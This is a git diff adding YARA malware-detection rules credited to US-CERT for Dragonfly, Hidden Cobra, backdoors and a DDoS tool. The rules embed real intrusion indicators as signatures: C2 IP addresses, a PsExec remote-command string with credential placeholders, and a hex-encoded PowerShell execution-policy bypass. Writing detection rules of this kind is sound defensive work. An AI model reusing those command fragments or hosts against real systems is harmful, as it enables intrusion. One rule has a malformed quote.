+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
diff --git a/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_8.yar b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_8.yar
new file mode 100644
index 0000000..47c5974
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Destructive_Target_Cleaning_Tool_8.yar	
@@ -0,0 +1,14 @@
+rule Destructive_Target_Cleaning_Tool_8
+
+{
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+	
+	strings:
+		$license= "{E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C0020004A006F007200690073002000760061006E002000520061006E007400770069006A006B002C002000440065006C00690061006E000000000000000250000000000A002200CE000800EA03FFFF8200}"
+		$PuTTY= "{50007500540054005900}"
+
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $license and not $PuTTY
+ }
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Dragonfly.yar b/yara-mikesxrs/US CERT/Dragonfly.yar
new file mode 100644
index 0000000..aef47af
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Dragonfly.yar	
@@ -0,0 +1,118 @@
+rule APT_malware_1
+{
+meta:
+      description = "inveigh pen testing tools & related artifacts"
+      author = "US-CERT Code Analysis Team"    
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+      date = "2017/07/17"
+      hash0 = "61C909D2F625223DB2FB858BBDF42A76"
+      hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
+      hash2 = "BA756DD64C1147515BA2298B6A760260"
+      hash3 = "8943E71A8C73B5E343AA9D2E19002373"
+      hash4 = "04738CA02F59A5CD394998A99FCD9613"
+      hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
+      hash6 = "65A1A73253F04354886F375B59550B46"
+      hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
+      hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
+      hash9 = "722154A36F32BA10E98020A8AD758A7A"
+      hash10 = "4595DBE00A538DF127E0079294C87DA0"
+strings:
+      $s0 = "file://"
+      $s1 = "/ame_icon.png"
+      $s2 = "184.154.150.66"
+      $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
+      $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
+      $s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
+      $s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
+      $s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
+      $s8 = "NlZzSZk="
+      $s9 = "WlJTb1q5kaxqZaRnser3sw=="
+      $s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
+      $s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
+      $s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
+      $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
+      $s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
+      $s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }
+ 
+ 
+//inveigh pentesting tools
+ 
+      $s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
+ 
+//specific malicious word document PK archive
+ 
+      $s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
+      $s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
+      $s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
+      $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+      $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+      $s22 = "5.153.58.45"
+      $s23 = "62.8.193.206"
+      $s24 = "/1/ree_stat/p"
+      $s25 = "/icon.png"
+      $s26 = "/pshare1/icon"
+      $s27 = "/notepad.png"
+      $s28 = "/pic.png"
+      $s29 = "http://bit.ly/2m0x8IH"
+     
+condition:
+      ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)
+}
+ 
+rule APT_malware_2
+{
+meta:
+      description = "rule detects malware"
+      author = "other"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+strings:
+      $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
+      $http_push = "X-mode: push" nocase
+      $http_pop = "X-mode: pop" nocase
+condition:
+      any of them
+}
+ 
+rule Query_XML_Code_MAL_DOC_PT_2
+{
+      meta:
+            name= "Query_XML_Code_MAL_DOC_PT_2"
+            author = "other"
+      strings:
+            $zip_magic = { 50 4b 03 04 }
+            $dir1 = "word/_rels/settings.xml.rels"
+            $bytes = {8c 90 cd 4e eb 30 10 85 d7}
+      condition:
+            $zip_magic at 0 and $dir1 and $bytes
+}
+ 
+rule Query_Javascript_Decode_Function
+{
+meta:
+      name= "Query_Javascript_Decode_Function"
+      author = "other
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+strings:
+      $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
+      $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
+      $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
+      $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
+      $func_call="a(\""
+condition:
+      filesize < 20KB and #func_call > 20 and all of ($decode*)
+}
+ 
+rule Query_XML_Code_MAL_DOC
+{
+meta:
+      name= "Query_XML_Code_MAL_DOC"
+      author = "other"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+strings:
+      $zip_magic = { 50 4b 03 04 }
+      $dir = "word/_rels/" ascii
+      $dir2 = "word/theme/theme1.xml" ascii
+      $style = "word/styles.xml" ascii
+condition:
+      $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
+}
diff --git a/yara-mikesxrs/US CERT/Dragonfly2.0.yar b/yara-mikesxrs/US CERT/Dragonfly2.0.yar
new file mode 100644
index 0000000..74e49f2
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Dragonfly2.0.yar	
@@ -0,0 +1,305 @@
+rule Dragonfly_APT_malware_1
+
+{
+
+meta:
+
+            description = "inveigh pen testing tools & related artifacts"
+
+            author = "DHS | NCCIC Code Analysis Team"    
+
+            date = "2017/07/17"
+
+            hash0 = "61C909D2F625223DB2FB858BBDF42A76"
+
+            hash1 = "A07AA521E7CAFB360294E56969EDA5D6"
+
+            hash2 = "BA756DD64C1147515BA2298B6A760260"
+
+            hash3 = "8943E71A8C73B5E343AA9D2E19002373"
+
+            hash4 = "04738CA02F59A5CD394998A99FCD9613"
+
+            hash5 = "038A97B4E2F37F34B255F0643E49FC9D"
+
+            hash6 = "65A1A73253F04354886F375B59550B46"
+
+            hash7 = "AA905A3508D9309A93AD5C0EC26EBC9B"
+
+            hash8 = "5DBEF7BDDAF50624E840CCBCE2816594"
+
+            hash9 = "722154A36F32BA10E98020A8AD758A7A"
+
+            hash10 = "4595DBE00A538DF127E0079294C87DA0"
+
+strings:
+
+            $s0 = "file://"
+
+            $s1 = "/ame_icon.png"
+
+            $s2 = "184.154.150.66"
+
+            $s3 = { 87D081F60C67F5086A003315D49A4000F7D6E8EB12000081F7F01BDD21F7DE }
+
+            $s4 = { 33C42BCB333DC0AD400043C1C61A33C3F7DE33F042C705B5AC400026AF2102 }
+
+            $s5 = "(g.charCodeAt(c)^l[(l[b]+l[e])%256])"
+
+            $s6 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
+
+            $s7 = "VXNESWJfSjY3grKEkEkRuZeSvkE="
+
+            $s8 = "NlZzSZk="
+
+            $s9 = "WlJTb1q5kaxqZaRnser3sw=="
+
+            $s10 = "for(b=0;256>b;b++)k[b]=b;for(b=0;256>b;b++)"
+
+            $s11 = "fromCharCode(d.charCodeAt(e)^k[(k[b]+k[h])%256])"
+
+            $s12 = "ps.exe -accepteula \\%ws% -u %user% -p %pass% -s cmd /c netstat"
+
+            $s13 = { 22546F6B656E733D312064656C696D733D5C5C222025254920494E20286C6973742E74787429 }
+
+            $s14 = { 68656C6C2E657865202D6E6F65786974202D657865637574696F6E706F6C69637920627970617373202D636F6D6D616E6420222E202E5C496E76656967682E70 }
+
+            $s15 = { 476F206275696C642049443A202266626433373937623163313465306531 }
+
+//inveigh pentesting tools
+
+            $s16 = { 24696E76656967682E7374617475735F71756575652E4164642822507265737320616E79206B657920746F2073746F70207265616C2074696D65 }
+
+//specific malicious word document PK archive
+
+            $s17 = { 2F73657474696E67732E786D6CB456616FDB3613FEFE02EF7F10F4798E64C54D06A14ED125F19A225E87C9FD0194485B }
+
+            $s18 = { 6C732F73657474696E67732E786D6C2E72656C7355540500010076A41275780B0001040000000004000000008D90B94E03311086EBF014D6F4D87B48214471D2 }
+
+            $s19 = { 8D90B94E03311086EBF014D6F4D87B48214471D210A41450A0E50146EBD943F8923D41C9DBE3A54A240ACA394A240ACA39 }
+
+            $s20 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+
+            $s21 = { 8C90CD4EEB301085D7BD4F61CDFEDA092150A1BADD005217B040E10146F124B1F09FEC01B56F8FC3AA9558B0B4 }
+
+            $s22 = "5.153.58.45"
+
+            $s23 = "62.8.193.206"
+
+            $s24 = "/1/ree_stat/p"
+
+            $s25 = "/icon.png"
+
+            $s26 = "/pshare1/icon"
+
+            $s27 = "/notepad.png"
+
+            $s28 = "/pic.png"
+
+            $s29 = "http://bit.ly/2m0x8IH"
+
+           
+
+condition:
+
+            ($s0 and $s1 or $s2) or ($s3 or $s4) or ($s5 and $s6 or $s7 and $s8 and $s9) or ($s10 and $s11) or ($s12 and $s13) or ($s14) or ($s15) or ($s16) or ($s17) or ($s18) or ($s19) or ($s20) or ($s21) or ($s0 and $s22 or $s24) or ($s0 and $s22 or $s25) or ($s0 and $s23 or $s26) or ($s0 and $s22 or $s27) or ($s0 and $s23 or $s28) or ($s29)
+
+}
+
+ 
+
+ 
+
+ 
+
+rule Dragonfly_APT_malware_2
+
+{
+
+meta:
+
+      description = "rule detects malware"
+
+      author = "other"
+
+ 
+
+strings:
+
+      $api_hash = { 8A 08 84 C9 74 0D 80 C9 60 01 CB C1 E3 01 03 45 10 EB ED }
+
+      $http_push = "X-mode: push" nocase
+
+      $http_pop = "X-mode: pop" nocase
+
+ 
+
+condition:
+
+      any of them
+
+}
+
+ 
+
+ 
+
+ 
+
+rule Dragonfly_Query_XML_Code_MAL_DOC_PT_2
+
+{
+
+meta:
+
+     name= "Query_XML_Code_MAL_DOC_PT_2"
+
+     author = "other"
+
+ 
+
+strings:
+
+ 
+
+            $zip_magic = { 50 4b 03 04 }
+
+            $dir1 = "word/_rels/settings.xml.rels"
+
+            $bytes = {8c 90 cd 4e eb 30 10 85 d7}
+
+ 
+
+condition:
+
+            $zip_magic at 0 and $dir1 and $bytes
+
+}
+
+ 
+
+ 
+
+ 
+
+rule Dragonfly_Query_Javascript_Decode_Function
+
+{
+
+meta:
+
+      name= "Query_Javascript_Decode_Function"
+
+      author = "other"
+
+ 
+
+strings:
+
+      $decode1 = {72 65 70 6C 61 63 65 28 2F 5B 5E 41 2D 5A 61 2D 7A 30 2D 39 5C 2B 5C 2F 5C 3D 5D 2F 67 2C 22 22 29 3B}
+
+      $decode2 = {22 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 2B 2F 3D 22 2E 69 6E 64 65 78 4F 66 28 ?? 2E 63 68 61 72 41 74 28 ?? 2B 2B 29 29}
+
+      $decode3 = {3D ?? 3C 3C 32 7C ?? 3E 3E 34 2C ?? 3D 28 ?? 26 31 35 29 3C 3C 34 7C ?? 3E 3E 32 2C ?? 3D 28 ?? 26 33 29 3C 3C 36 7C ?? 2C ?? 2B 3D [1-2] 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29 2C 36 34 21 3D ?? 26 26 28 ?? 2B 3D 53 74 72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 ?? 29}
+
+      $decode4 = {73 75 62 73 74 72 69 6E 67 28 34 2C ?? 2E 6C 65 6E 67 74 68 29}
+
+      $func_call="a(\""
+
+ 
+
+condition:
+
+      filesize < 20KB and #func_call > 20 and all of ($decode*)
+
+ 
+
+}
+
+ 
+
+ 
+
+ 
+
+rule Dragonfly_Query_XML_Code_MAL_DOC
+
+{
+
+meta:
+
+      name= "Query_XML_Code_MAL_DOC"
+
+      author = "other"
+
+ 
+
+strings:
+
+      $zip_magic = { 50 4b 03 04 }
+
+      $dir = "word/_rels/" ascii
+
+      $dir2 = "word/theme/theme1.xml" ascii
+
+      $style = "word/styles.xml" ascii
+
+ 
+
+condition:
+
+      $zip_magic at 0 and $dir at 0x0145 and $dir2 at 0x02b7 and $style at 0x08fd
+
+}
+
+ 
+
+ 
+
+ 
+
+rule Dragonfly_z_webshell
+
+{
+
+meta:
+
+            description = "Detection for the z_webshell"
+
+            author = "DHS NCCIC Hunt and Incident Response Team"
+
+            date = "2018/01/25"
+
+            md5 =  "2C9095C965A55EFC46E16B86F9B7D6C6"
+
+ 
+
+strings:
+
+            $aspx_identifier1 = "<%@ " nocase ascii wide
+
+            $aspx_identifier2 = "<asp:" nocase ascii wide
+
+            $script_import = /(import|assembly) Name(space)?\=\"(System|Microsoft)/ nocase ascii wide
+
+            $case_string = /case \"z_(dir|file|FM|sql)_/ nocase ascii wide
+
+            $webshell_name = "public string z_progname =" nocase ascii wide
+
+            $webshell_password = "public string Password =" nocase ascii wide
+
+ 
+
+condition:
+
+            1 of ($aspx_identifier*)
+
+            and #script_import > 10
+
+            and #case_string > 7
+
+            and 2 of ($webshell_*)
+
+            and filesize < 100KB
+
+}
diff --git a/yara-mikesxrs/US CERT/HIDDENCOBRA_RSA_MODULUS.yar b/yara-mikesxrs/US CERT/HIDDENCOBRA_RSA_MODULUS.yar
new file mode 100644
index 0000000..12e219a
--- /dev/null
+++ b/yara-mikesxrs/US CERT/HIDDENCOBRA_RSA_MODULUS.yar	
@@ -0,0 +1,14 @@
+rule rsa_modulus { 
+meta:
+ Author="NCCIC trusted 3rd party"
+ reference = "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
+ Incident="10135536"
+ Date = "2018/04/19"
+ category = "hidden_cobra"
+ family = "n/a"
+ description = "n/a"
+strings:
+ $n = "bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40" 
+condition:
+ (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
+}
diff --git a/yara-mikesxrs/US CERT/HIDDEN_COBRA.yar b/yara-mikesxrs/US CERT/HIDDEN_COBRA.yar
new file mode 100644
index 0000000..78f71cb
--- /dev/null
+++ b/yara-mikesxrs/US CERT/HIDDEN_COBRA.yar	
@@ -0,0 +1,69 @@
+rule HiddenCobra_RSA_Key {
+   meta:
+      description = "Detects Hidden Cobra Malware"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+      date = "2017-06-13"
+   strings:
+      $rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94
+            A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77
+            48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39
+            73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2
+            AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED
+            39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68
+            3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13
+            B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
+   condition:
+      all of them
+}
+
+rule HiddenCobra_strings {
+   meta:
+      description = "Detects Hidden Cobra Malware"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+      date = "2017-06-13"
+   strings:
+      $STR1 = "Wating" wide ascii fullword
+      $STR2 = "Reamin" wide ascii fullword
+      $STR3 = "laptos" wide ascii fullword
+   condition:
+      ( uint16(0) == 0x5A4D or
+        uint16(0) == 0xCFD0 or
+        uint16(0) == 0xC3D4 or
+        uint32(0) == 0x46445025 or
+        uint32(1) == 0x6674725C
+      ) and all of them
+}
+
+
+rule HiddenCobra_URL_Builder {
+   meta:
+      description = "Detects Hidden Cobra Malware"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+      date = "2017-06-13"
+   strings:
+      $randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7
+         44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41
+         00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0
+         6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24
+         48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89
+         44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24
+         18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89
+         44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00
+         66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B
+         6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05
+         83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00
+         00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B
+         FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2
+         49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33
+         C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83
+         E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00
+         8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1
+         C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8
+         ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4
+         48 C3 }
+   condition:
+      $randomUrlBuilder
+}
diff --git a/yara-mikesxrs/US CERT/Hidden Cobra Enfal.yar b/yara-mikesxrs/US CERT/Hidden Cobra Enfal.yar
new file mode 100644
index 0000000..69f8ef0
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Hidden Cobra Enfal.yar	
@@ -0,0 +1,29 @@
+rule Enfal_Generic {
+meta: author = "NCCIC trusted 3rd party"
+ incident = "10135536"
+ date = "2018-04-12"
+ category = "hidden_cobra"
+ family = "BRAMBUL,JOANAP"
+ MD5_1 = "483B95B1498B615A1481345270BFF87D"
+ MD5_2 = "4731CBAEE7ACA37B596E38690160A749"
+ MD5_3 = "CD60FD107BAACCAFA6C24C1478C345C8"
+ MD5_4 = "298775B04A166FF4B8FBD3609E716945"
+ Info = "Detects Hidden Cobra SMB Worm / RAT"
+strings: $s0 = {6D737373636172647072762E6178}
+ $s1 = {6E3472626872697138393076393D3032333D30312A2628542D30513332354A314E3B4C4B}
+ $s2 = {72656468617440676D61696C2E636F6D}
+ $s3 = {6D69737377616E673831303740676D61696C2E636F6D}
+ $s4 = {534232755365435632564474}
+ $s5 = {794159334D6559704275415756426341}
+ $s6 = {705641325941774242347A41346167664B6232614F7A4259}
+ $s7 = {AE8591916D586DE4F6FB8EE2F0BBF1F9}
+ $s8 = {F96D5DD36D6D9A87DD6D506D6D6D516D}
+ $s9 = {43616E6E6F74206372656174652072656D6F74652066696C652E}
+ $s10 = {43616E6E6F74206F70656E2072656D6F74652066696C65}
+ $s11 = {663D547D75128D85FCFEFFFF5056}
+ $s12 = {663D547D75128D85FCFEFFFF5056E88C060000E9A9000000663D557D7512}
+ $s13 = {663D567D750F8D85FCFEFFFF5056E891070000EB7C663D577D}
+ $s14 = {3141327A3342347935433678374438773945307624465F754774487349724A71}
+ $s15 = {393032356A6864686F333965686532}
+condition:
+ ($s0) or ($s1) or ($s2) or ($s3) or ($s4 and $s5 and $s6) or ($s7 and $s8) or ($s9 and $s10 and $s11) or ($s12 and $s13) or ($s14 and $s15) }
diff --git a/yara-mikesxrs/US CERT/Hidden_Cobra_DPRK_DDoS_Tool.yara b/yara-mikesxrs/US CERT/Hidden_Cobra_DPRK_DDoS_Tool.yara
new file mode 100644
index 0000000..c8d246d
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Hidden_Cobra_DPRK_DDoS_Tool.yara	
@@ -0,0 +1,40 @@
+rule HIDDEN_COBRA_DDoS_tool_RSAKey
+{
+meta:
+  description = "HIDDEN COBRA North Korea's DDoS Botnet Infrastructure"
+  author = "US-CERT Code Analysis Team"
+  reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+  date = "2017/06/13"
+strings:
+  $rsaKey = {7B 4E 1E A7 E9 3F 36 4C DE F4 F0 99 C4 D9 B7 94 A1 FF F2 97 D3 91 13 9D C0 12 02 E4 4C BB 6C 77 48 EE 6F 4B 9B 53 60 98 45 A5 28 65 8A 0B F8 39 73 D7 1A 44 13 B3 6A BB 61 44 AF 31 47 E7 87 C2 AE 7A A7 2C 3A D9 5C 2E 42 1A A6 78 FE 2C AD ED 39 3F FA D0 AD 3D D9 C5 3D 28 EF 3D 67 B1 E0 68 3F 58 A0 19 27 CC 27 C9 E8 D8 1E 7E EE 91 DD 13 B3 47 EF 57 1A CA FF 9A 60 E0 64 08 AA E2 92 D0}
+condition:
+  any of them
+}
+
+rule HIDDEN_COBRA_DDoS_tool_strings
+{
+meta:
+  description = "HIDDEN COBRA North Korea's DDoS Botnet Infrastructure"
+  author = "US-CERT Code Analysis Team"
+  reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+  date = "2017/06/13"
+strings:
+  $STR1 = "Wating" wide ascii
+  $STR2 = "Reamin" wide ascii
+  $STR3 = "laptos" wide ascii
+condition:
+  (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 2 of them
+}
+
+rule HIDDEN_COBRA_DDoS_tool_URLBuilder
+{
+meta:
+  description = "HIDDEN COBRA North Korea's DDoS Botnet Infrastructure"
+  author = "US-CERT Code Analysis Team"
+  reference = "https://www.us-cert.gov/ncas/alerts/TA17-164A"
+  date = "2017/06/13"
+strings:
+  $randomUrlBuilder = { 83 EC 48 53 55 56 57 8B 3D ?? ?? ?? ?? 33 C0 C7 44 24 28 B4 6F 41 00 C7 44 24 2C B0 6F 41 00 C7 44 24 30 AC 6F 41 00 C7 44 24 34 A8 6F 41 00 C7 44 24 38 A4 6F 41 00 C7 44 24 3C A0 6F 41 00 C7 44 24 40 9C 6F 41 00 C7 44 24 44 94 6F 41 00 C7 44 24 48 8C 6F 41 00 C7 44 24 4C 88 6F 41 00 C7 44 24 50 80 6F 41 00 89 44 24 54 C7 44 24 10 7C 6F 41 00 C7 44 24 14 78 6F 41 00 C7 44 24 18 74 6F 41 00 C7 44 24 1C 70 6F 41 00 C7 44 24 20 6C 6F 41 00 89 44 24 24 FF D7 99 B9 0B 00 00 00 F7 F9 8B 74 94 28 BA 9C 6F 41 00 66 8B 06 66 3B 02 74 34 8B FE 83 C9 FF 33 C0 8B 54 24 60 F2 AE 8B 6C 24 5C A1 ?? ?? ?? ?? F7 D1 49 89 45 00 8B FE 33 C0 8D 5C 11 05 83 C9 FF 03 DD F2 AE F7 D1 49 8B FE 8B D1 EB 78 FF D7 99 B9 05 00 00 00 8B 6C 24 5C F7 F9 83 C9 FF 33 C0 8B 74 94 10 8B 54 24 60 8B FE F2 AE F7 D1 49 BF 60 6F 41 00 8B D9 83 C9 FF F2 AE F7 D1 8B C2 49 03 C3 8B FE 8D 5C 01 05 8B 0D ?? ?? ?? ?? 89 4D 00 83 C9 FF 33 C0 03 DD F2 AE F7 D1 49 8D 7C 2A 05 8B D1 C1 E9 02 F3 A5 8B CA 83 E1 03 F3 A4 BF 60 6F 41 00 83 C9 FF F2 AE F7 D1 49 BE 60 6F 41 00 8B D1 8B FE 83 C9 FF 33 C0 F2 AE F7 D1 49 8B FB 2B F9 8B CA 8B C1 C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 7C 24 60 8D 75 04 57 56 E8 ?? ?? ?? ?? 83 C4 08 C6 04 3E 2E 8B C5 C6 03 00 5F 5E 5D 5B 83 C4 48 C3 }
+condition:
+  $randomUrlBuilder
+  }
diff --git a/yara-mikesxrs/US CERT/Lightweight_Backdoor.yar b/yara-mikesxrs/US CERT/Lightweight_Backdoor.yar
new file mode 100644
index 0000000..936e85c
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Lightweight_Backdoor.yar	
@@ -0,0 +1,14 @@
+rule Lightweight_Backdoor
+
+{
+    meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+    strings:
+	    $STR1 = "NetMgStart"
+		$STR2 = "Netmgmt.srg"
+
+	condition:
+    	(uint16(0) == 0x5A4D) and all of them
+        }
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Lightweight_Backdoor_2.yar b/yara-mikesxrs/US CERT/Lightweight_Backdoor_2.yar
new file mode 100644
index 0000000..0c402c9
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Lightweight_Backdoor_2.yar	
@@ -0,0 +1,15 @@
+rule Lightweight_Backdoor_2
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+		$STR1 = "prxTroy" ascii wide nocase
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/US CERT/Lightweight_Backdoor_3.yar b/yara-mikesxrs/US CERT/Lightweight_Backdoor_3.yar
new file mode 100644
index 0000000..23b3643
--- /dev/null
+++ b/yara-mikesxrs/US CERT/Lightweight_Backdoor_3.yar	
@@ -0,0 +1,15 @@
+rule Lightweight_Backdoor_3
+
+{
+
+	meta:
+		author = "US CERT"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA14-353A"
+
+	strings:
+
+		$strl  = "{ C6 45 E8 64 C6 45 E9 61 C6 45 EA 79 C6 45 EB 69 C6 45 EC 70 C6 45 ED 6D C6 45 EE 72 C6 45 EF 2E C6 45 F0 74 C6 45 F1  62 C6 45 F2 6C }" // 'dayipmr.tbl' being moved to ebp
+
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
\ No newline at end of file
